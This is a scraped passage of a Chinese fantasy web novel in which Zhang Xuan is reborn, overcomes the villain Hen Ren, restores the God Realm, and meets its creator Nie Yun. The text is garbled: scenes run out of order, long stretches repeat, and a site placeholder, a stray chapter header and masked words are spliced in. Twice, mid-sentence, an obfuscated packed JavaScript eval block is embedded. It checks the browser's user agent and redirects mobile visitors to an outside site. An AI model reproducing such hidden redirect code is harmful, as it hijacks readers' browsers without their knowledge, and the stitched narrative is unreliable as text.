父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256286|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第217章宫宴 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 